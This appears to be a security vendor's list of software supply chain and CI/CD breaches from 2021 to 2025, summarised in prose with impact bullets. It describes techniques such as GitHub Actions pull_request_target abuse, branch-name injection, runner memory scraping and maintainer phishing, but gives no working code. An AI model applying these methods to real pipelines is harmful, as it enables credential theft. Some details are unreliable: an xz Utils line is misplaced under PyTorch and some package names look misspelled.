Early indicators suggest possible ties to the “Scavenger” threat actor, who has previously conducted similar attacks by publishing malicious versions of popular packages to trusted repositories. While attribution is not confirmed, the tactics—unauthorized uploads, lack of repository tags, and targeting high-usage packages—mirror known Scavenger patterns.

• A malicious version (0.5.15) of num2words, a widely used Python library, was published to PyPI without authorization.

• The suspicious release had already begun spreading through automated dependency update tools before removal.

• The incident highlights systemic risks related to package provenance, lack of mandatory signing or verification, and reliance on trust within the PyPI ecosystem.

• Potential ties to a known package-focused threat actor (Scavenger) indicate ongoing, targeted supply chain activity against popular language ecosystems.

• Rapid community and PyPI intervention prevented broader compromise, but any installations of 0.5.15 may require auditing and remediation.

On July 19, 2025, malicious versions of the widely used ‘is’ JavaScript type-checking library were published to npm. This incident forms part of the same phishing campaign that previously compromised eslint-config-prettier and other popular packages.

The attackers first gained control of an old maintainer’s npm account through phishing. Once in control, they removed the compromised account from the package and emailed the current maintainer team, claiming that npm had mistakenly removed them due to a lack of 2FA. Believing the explanation to be legitimate, the maintainers reinstated the compromised account.

The attackers then published malicious versions 3.3.1 and 5.0.0 the next morning. The malicious releases went unnoticed for several hours, delayed by gaps in npm’s notification system and the natural trust between maintainers. The incident demonstrates how attackers can exploit governance weaknesses, social trust, and maintainers’ expectations to bypass security processes without exploiting any underlying technical flaws.

• Malicious versions 3.3.1 and 5.0.0 of the ‘is’ package were published and may have been installed by thousands of downstream projects.

• The compromise represents a notable escalation in the active phishing campaign targeting npm maintainers.

• Exposed systemic weaknesses in npm’s ownership notifications, maintainer verification processes, and session handling.

• Developers who installed the affected versions may face system integrity risks and should audit and remediate their environments.

On July 18, 2025, the maintainer of eslint-config-prettier, JounQin, confirmed that he was the victim of a sophisticated phishing attack. The attacker used the gained access to publish malicious versions of several popular npm packages, including eslint-config-prettier, eslint-plugin-prettier, snyckit, @pkgjs/core, napi-postinstall, is, and got-fetch. These versions contained unauthorized code and were published without any matching updates in the GitHub repositories.

The compromised versions of eslint-config-prettier and related packages executed malware during installation, specifically targeting Windows systems. Projects using Dependabot or Renovate were automatically upgraded to these malicious versions in some cases, increasing the potential blast radius.

Subsequent investigation revealed that this phishing campaign was broader than initially suspected. The attackers compromised maintainers of the is and got-fetch packages using the same phishing email, deploying additional malware families including the “Pycoon” information stealer. All compromised versions were deprecated by the respective maintainers, and clean versions were published.

• Unauthorized publication of malicious versions for multiple npm packages, including eslint-config-prettier, eslint-plugin-prettier, snyckit, @pkgjs/core, napi-postinstall, is, and got-fetch.

• Execution of a Windows-targeting malware payload (node-gyp.dll) triggered during package installation.

• Additional compromise of the is and got-fetch package maintainers, indicating a widespread phishing campaign targeting high-value npm accounts.

• Automated dependency updates (Dependabot, Renovate) unintentionally pulled malicious versions into downstream projects.

• Increased risk of compromised CI/CD environments where affected packages were installed.

• NVD assignment of CVE-2025-54313, confirming the supply chain compromise and malicious code execution behavior.

On April 26, 2025, Grafana Labs disclosed that an unauthorized actor exploited a GitHub Actions misconfiguration to extract secrets from a public repository. The vulnerable workflow used the pull_request_target trigger, inadvertently granting elevated access and injecting secrets even for pull requests from forks. The attacker utilized script injection by crafting a malicious branch name, leading to the exfiltration of secrets via a JavaScript payload. The attack required no merges or privilege escalation. Upon gaining access, the attacker committed a secondary malicious workflow designed to encrypt and export secrets. Grafana Labs promptly responded by rotating credentials, disabling public GitHub Actions workflows, and conducting a full investigation.

‍

• Unauthorized access to GitHub App secrets (GRAFANA_DELIVERY_BOT_APP_ID and GRAFANA_DELIVERY_BOT_APP_PEM)
• Potential exfiltration of other CI/CD secrets via the malicious workflow
• GitHub Actions disabled across all public Grafana Labs repositories as a containment measure
• No access to production systems or customer data was detected
• Highlighted security risks associated with pull_request_target, emphasizing the need for secret auditing, environment-based permissions, runtime monitoring (e.g., StepSecurity Harden-Runner), and least-privilege configurations

On March 17, 2025, security researcher Adnan Khan publicly disclosed a supply chain compromise in the reviewdog/action-setup@v1 GitHub Action. Within hours, Wiz published an in-depth technical analysis. The attacker injected a base64-encoded Python payload into the action-setup Action that accessed sensitive memory on GitHub Actions runners to extract secrets. These secrets were exposed in plain text via build logs.

Because reviewdog/action-setup was a dependency for several other Actions in the reviewdog ecosystem, at least five additional Actions were also considered compromised:

1. reviewdog/action-shellcheck
2. reviewdog/action-composite-template
3. reviewdog/action-staticcheck
4. reviewdog/action-ast-grep
5. reviewdog/action-typos

The incident was traced to a narrow compromise window on March 11, 2025, between 18:42 and 20:31 UTC. The maintainers responded by rotating secrets, revoking access tokens, and moving to commit-SHA-based pinning for all Actions and installation scripts.

‍

• CI/CD secret leakage via malicious memory-reading payload embedded in the GitHub Action
• Widespread ecosystem exposure as multiple Actions inherited the compromised base Action
• Public exposure of secrets in workflow logs, especially critical for public repositories
• High risk of credential reuse and follow-on supply chain attacks

‍

The tj-actions/changed-files Action, used in over 23,000 repositories, was silently compromised. Most version tags were updated to point to a malicious commit (0e58ed8671d6b60d0890c21b07f8835ace038e67) that embedded a Python script to extract secrets directly from runner memory. These secrets were displayed in plaintext in workflow logs—especially dangerous in public repositories. GitHub confirmed the incident under CVE-2025-30066.

The compromise occurred on March 14, 2025, and GitHub removed the Action temporarily on March 15, before restoring a clean version. The adversary exploited the tj-actions-bot account via an unknown method. The injected payload used the curl command to fetch a Python memory-dump script from an external Gist, executed it with sudo, and filtered the output for secret-like values.

StepSecurity’s Harden-Runner flagged the attack based on anomalous network traffic. Affected users were advised to audit usage, rotate secrets, and replace the compromised Action with the secure drop-in replacement: step-security/changed-files.

‍

• Mass exposure of CI/CD secrets across public repositories
• Compromise of most released versions of tj-actions/changed-files via tag manipulation
• Secrets printed in public workflow logs, including potentially production credentials
• GitHub temporarily disabled and cleaned the repository
• StepSecurity released a free, secure alternative (step-security/changed-files) to contain fallout

‍

The Ultralytics repository was compromised in a coordinated supply chain attack that exploited both script injection and improper use of pull_request_target. A previously patched vulnerability was accidentally reintroduced in August 2024. On December 4, 2024, the attacker submitted malicious PRs (#18018, #18020) targeting these flaws.

The malicious payload executed during CI runs, siphoning sensitive secrets and modifying the release pipeline. Compromised tokens were used to inject a cryptominer into released artifacts distributed via PyPI. The scripts were eventually deleted, and logs erased, but the impact persisted.

StepSecurity’s Harden-Runner platform was used to simulate and analyze the attack. In audit mode, it detected anomalous network calls; in block mode, it successfully prevented the attack by denying connections to external payload-hosting URLs (like gist.githubusercontent.com).

The exploit demonstrated how insufficient input sanitization and unsafe GitHub Action triggers can enable deep compromise of CI/CD systems—leading to poisoned builds and widespread end-user exposure.

‍

• Secrets Exfiltration: _GITHUB_TOKEN, API keys, and cache management secrets were stolen.
• Build Cache Poisoning: Malicious cryptomining payloads were injected into PyPI releases (v8.3.41 and v8.3.42).
• End-User Compromise: Users who installed affected PyPI packages unknowingly ran cryptominers.
• Artifact Tampering: Release pipelines were abused to modify official builds.

‍

In a demonstration of CI/CD vulnerabilities, a security researcher compromised Stripe’s open-source accept-a-payment repository by leveraging a misconfigured GitHub Actions workflow. The flaw stemmed from a combination of:

• Use of the pull_request_target trigger (which executes workflows with full repository permissions), and
• Checking out the pull request’s code via an explicit ref—a dangerous pattern when interacting with external forks.

The researcher created a PR that injected malicious code into the pipeline. Upon triggering, the GitHub token was exposed and used to merge the PR into main without reviewer approval (PR #2719). In another PR (#2723), the researcher exfiltrated the token to a controlled server using wget.

The researcher responsibly disclosed the vulnerability and highlighted the potential damage: unauthorized merges, credential leaks, and possible downstream supply chain compromise.

‍

• GitHub Token Theft: Secrets like GITHUB_TOKEN were exfiltrated, exposing repository and CI/CD infrastructure.
• Unauthorized Merge: A malicious PR was automatically merged into main, bypassing review and branch protections.
• Proof-of-Concept Exfiltration: Demonstrated exfiltration to an external server, showcasing risk of real-world exploitation.

‍

On August 31, 2024, a security researcher demonstrated a successful supply chain attack on the Azure Karpenter Provider project, maintained by Microsoft. The project’s GitHub Actions CI/CD configuration included a vulnerable e2e.yml workflow that allowed execution of attacker-controlled code in a privileged context. The flaw was introduced via the ApprovalComment → resolve-args.yml → e2e.yml workflow chain, in which a user-supplied ref was used to check out and execute code.

The researcher inserted a malicious script into their fork and ensured its commit SHA was propagated through the artifact. Once the e2e.yml workflow ran, it executed the inserted script, which downloaded and ran a payload from gist.githubusercontent.com, and exfiltrated secrets to the domain n6uw1ivl7vxwuf43sas4hjs17sdj19py.oastify.com.

Fortunately, StepSecurity Harden-Runner had been enabled since January 2024 in audit mode, allowing StepSecurity to detect the anomalous outbound network traffic in real time. The attack was reported to the Microsoft Security Response Center (MSRC) within an hour and acknowledged publicly by Microsoft.

‍

• Exfiltration of privileged CI/CD credentials, including OIDC tokens via id-token: write permission
• Arbitrary code execution in a privileged workflow context
• Potential for a Codecov-style supply chain attack, where production cloud environments could have been accessed

‍

The backdoor was deliberately inserted into versions 5.6.0 and 5.6.1 of xz Utils by maliciously tampering the Makefile during the build process. For more details, please refer to our blog postDescription: The backdoor aimed to hijack SSH connections by allowing an attacker with a specific private key to insert and execute malicious code, potentially compromising systems running Debian or Red Hat distributions.

The compromised xz Utils versions affected several Linux distributions, including Fedora, Debian, openSUSE, and Kali Linux. | The backdoor, if successful, could have led to unauthorized access, data theft, and the execution of arbitrary commands on affected systems. | The incident raised concerns about supply chain security, highlighting the need for robust CI/CD pipeline security measures. | The CVE designation for this incident is CVE-2024-3094, providing a tracking designation for security researchers and users to monitor the issue.

Flank, an open-source project maintained by Google, was targeted in a simulated supply chain attack. A researcher submitted a PR from a fork and posted a comment that triggered a workflow with elevated permissions. This workflow checked out code from the untrusted PR and executed it—allowing the attacker to run a script that exfiltrated the GITHUB_TOKEN to GitHub Gist infrastructure.

The stolen token had write access, meaning it could have been used to overwrite Flank’s project releases or tamper with artifacts. The malicious script downloaded a Python snippet that scanned the Runner.Worker memory for secret values and sent them to an external endpoint.

‍

• Secrets Exfiltration: GITHUB_TOKEN was exfiltrated, potentially allowing tampering with code or releases.
• CI/CD Vulnerability: Flawed permissions and unsafe workflow triggers exposed critical infrastructure to compromise.
• Potential Supply Chain Attack: With write access, the attacker could have introduced backdoors into software releases.

‍

In April 2024, Wiz Research collaborated with Hugging Face to uncover critical architecture risks within AI-as-a-Service environments. The incident highlighted vulnerabilities in Hugging Face's infrastructure, particularly concerning shared inference infrastructure and CI/CD pipelines. Attackers exploited these vulnerabilities by uploading specially crafted malicious models, specifically in Python's Pickle format, which allowed them to execute arbitrary code within Hugging Face's Inference API environment. This not only raised concerns about privilege escalation but also showcased the potential for cross-tenant access to sensitive data and models stored within the platform.

The incident highlighted the potential for privilege escalation and cross-tenant access within AI-as-a-Service environments, posing significant security risks. | Vulnerabilities in shared inference infrastructure and CI/CD pipelines raised concerns about the integrity and security of data and models stored within AI platforms. | Insufficient scoping and network isolation within Hugging Face's container registry exposed the platform to potential supply chain attacks, emphasizing the need for enhanced container security practices. | The incident prompted Hugging Face to implement Wiz CSPM (Cloud Security Posture Management) and vulnerability scanning, enhancing their ability to proactively identify and mitigate security risks, leading to platform improvements and enhanced security measures.

In February 2024, security researchers from Cycode discovered a critical vulnerability in Bazel, a tool for automating software building and testing. The vulnerability, exploited through a command injection in a custom GitHub Action used by Bazel, could have allowed malicious code injection into GitHub Actions workflows. This posed a significant risk to software supply chains, potentially impacting millions of projects and users, including major organizations like Kubernetes, Angular, Uber, and LinkedIn. The incident highlighted the inherent security risks associated with third-party dependencies in CI/CD workflows and emphasized the need for robust security measures to prevent such vulnerabilities from compromising software integrity and production environments.

Possible impact on millions of projects and users relying on Bazel, including Kubernetes, Angular, Uber, LinkedIn, and more. | The incident highlighted the risks associated with custom GitHub Actions and the need for thorough security assessments and considerations when integrating third-party actions into CI/CD workflows. | Cycode's scan of 3.4 million workflows from GitHub repositories revealed that over 98% of them incorporated one or more custom actions, indicating the widespread adoption of potentially vulnerable practices in CI/CD pipelines. | In response to the incident, Cycode developed an open-source scanner called RAVEN (Risk Analysis and Vulnerability Enumeration for CI/CD) to detect exploitable instances like the one found in Bazel.

Adnan Khan and another researcher exploited a critical vulnerability in PyTorch, a major ML platform used by prominent organizations like Google, Meta, Boeing, and Lockheed Martin. This exploit allowed them to execute a supply chain attack. In addition to compromising PyTorch's CI/CD pipeline, the attackers also targeted GitHub secrets, including GitHub Personal Access Tokens (PATs) with extensive permissions. These tokens provided access to sensitive systems and repositories within the PyTorch organization, further amplifying the potential impact of the attack. The attackers demonstrated the ability to manipulate repository releases, modify release artifacts, and access AWS credentials, highlighting the breadth of the security breach.

The compromised xz Utils versions affected several Linux distributions, including Fedora, Debian, openSUSE, and Kali Linux. | The attackers stole sensitive GitHub secrets, including PATs with extensive permissions, granting access to a significant number of repositories within the PyTorch organization, posing a serious risk of code injection and manipulation. | Access to AWS keys, such as the "aws-pytorch-uploader-secret-access-key" and "aws-access-key-id," provided the attackers with privileges to upload malicious assets to AWS, further compromising the supply chain integrity and potentially impacting users relying on PyTorch releases.

Diamond Sleet and Onyx Sleet exploited a critical remote-code execution vulnerability in JetBrains TeamCity server, allowing them to infiltrate build environments. Microsoft observed these threat actors utilizing distinct tools and techniques post-exploitation, including the deployment of backdoors and DLL search-order hijacking attacks. These actions posed a significant risk to organizations using affected versions of TeamCity.

JetBrains released updates to address the vulnerability, and Microsoft provided mitigation guidance to affected users.

On January 4, 2023, CircleCI disclosed a security incident where an unauthorized third party accessed and exfiltrated sensitive data from a subset of production systems. Despite encryption measures, the attacker managed to extract encryption keys after stealing credentials and access of an employee's laptop, potentially compromising encrypted data. CircleCI promptly shut down compromised accounts, rotated tokens and credentials, and engaged third-party cybersecurity experts for investigation and validation.

Customer environment variables, tokens, and keys were compromised, affecting sensitive information security. | Production access for employees was temporarily limited, impacting operational efficiency. | Engaging third-party cybersecurity specialists and implementing enhanced security measures incurred financial costs. | Public disclosure of the incident and potential data exposure may have impacted CircleCI's reputation and customer trust. | Customers were required to rotate their secrets, tokens, and credentials.

The vulnerability in GitHub Actions allowed attackers to poison software pipelines, leading to the compilation of malicious code into downstream projects. Legit Security discovered and simulated this attack by injecting malicious versions of software components into the build process. Projects using GitHub Actions were heavily affected by this attack. This allowed stolen repository secrets and code tampering.

The vulnerability impacted many open-source projects using GitHub Actions. | GitHub took steps to address the issue, including API updates, to improve artifact trust verification and reduce the risk of similar attacks in the future.

The ua-parser-js NPM package, widely used to detect browser, engine, OS, CPU, and device types from User-Agent data, was compromised with a malicious script for approximately 4 hours on October 22, 2021. This NPM package has 8 M downloads every week and 1200 dependencies. Thus it posed a huge risk as it could install a coinminer and gather user credentials. GitHub and CISA issued advisories urging immediate upgrades and system reviews for suspicious activities.

Potentially compromised systems during the 4-hour window when the malicious package was available for download | User/credential information could have been harvested due to the malicious script | Advisories issued by CISA and GitHub to highlight the incident and to urge immediate action to fix it | Guidance issued by Rapid7 to review and remediate affected versions to identify malicious activity related to the incident

The Travis CI flaw impacted over 900,000 open source projects and 600,000 users, potentially exposing secrets like signing keys, access credentials, and API tokens. This vulnerability allowed attackers to access these sensitive environment variables during pull request builds, posing a significant security risk to thousands of organizations relying on Travis CI for their CI/CD processes. The flaw was tracked as CVE-2021-41077 and lasted for approximately eight days, during which researchers discovered and reported the bug to Travis CI. The incident highlighted the importance of secure handling and protection of environment variables in CI/CD pipelines.

Thousands of open source projects had their sensitive environment variables, including signing keys and access credentials, exposed. | The vulnerability posed a significant security risk, allowing potential abuse of exposed secrets for unauthorized access. | The developer community expressed frustration over Travis CI's handling of the vulnerability disclosure process and the inadequacy of the security bulletin. | As a precautionary measure, all projects relying on Travis CI were advised to rotate their secrets to mitigate potential risks.

The vulnerability posed a risk of a malicious Pull Request gaining access to the production environment via a GitHub repository. This vulnerability stemmed from allowing unapproved CI jobs to run on Teleport infrastructure for external contributors' PRs. The attack leveraged Kubernetes worker pods, pivoting to the node and exfiltrating credentials from the CI/CD system. This breach exposed critical AWS credentials, potentially enabling unauthorized access to alter release artifacts and cloud services.

The incident prompted Teleport to enhance its security incident response procedures, including mitigation, analysis, and remediation steps, to prevent future exploits and strengthen overall security posture. | Teleport advised customers to upgrade to newer versions (Teleport 4.4.11, 5.2.4, 6.2.12, or 7.1.1) to mitigate the vulnerability's risk and encouraged reviewing systems for signs of compromise or unauthorized access.

The vulnerability in the review-cask-pr GitHub Action enabled the security researcher to inject arbitrary code into a cask, bypassing the review process and causing automatic approval and merge of the pull request. This further allowed potential malicious code inclusion which could have resulted in a massive supply chain attack. The vulnerable GitHub Action was immediately removed by Homebrew and all pull requests thereon were reviewed and approved manually.

Homebrew took swift action by disabling and removing the vulnerable GitHub Action, ensuring the security of its repositories.

The Codecov supply chain breach involved attackers inserting a backdoor into Codecov's infrastructure, leading to the extraction of environment variables from Codecov's customers. This breach was significant as it allowed attackers to access sensitive information, including git credentials, from CI environments, potentially compromising private repositories and exposing secrets

Approximately 23,000 Codecov customers/users affected | Large organizations like Twilio, Hashicorp, Rapid7, Confluent reported being affected | Exposure of git credentials and access to private repositories | Potential exploitation of secrets and sensitive information

The SolarWinds hack involved the deployment of malicious code into SolarWinds' Orion IT monitoring and management software. This breach led to a massive supply chain incident, impacting over 30,000 public and private organizations, including government agencies like Homeland Security, State, Commerce, and Treasury. The hackers gained unauthorized access to networks, systems, and data, exploiting SolarWinds' privileged position as a widely used IT monitoring system provider.

Over 30,000 organizations compromised | Government departments affected, including Homeland Security, State, Commerce, and Treasury | Emails missing from government systems, evidence of data compromise | Identified malware infections and backdoor access | Ongoing investigation and uncertainty about the full extent of the breach

The security incident involved an unauthorized user escalating privileges, resulting in the exfiltration of source code and exposure of personal data of 184 users. The attacker spent days probing and navigating Stack Overflow's systems, exploiting vulnerabilities in access controls and misconfigurations to gain higher privileges, access source code repositories, and attempt database changes. The incident prompted Stack Overflow to implement immediate remediations and long-term security enhancements.

Personal data of 184 users was inadvertently exposed. | Source code was accessed and potentially tampered with. | The attacker elevated their access privileges, highlighting vulnerabilities in access control mechanisms. | The incident led to immediate security improvements such as moving systems behind firewalls, enhancing secret management, and implementing stricter access controls.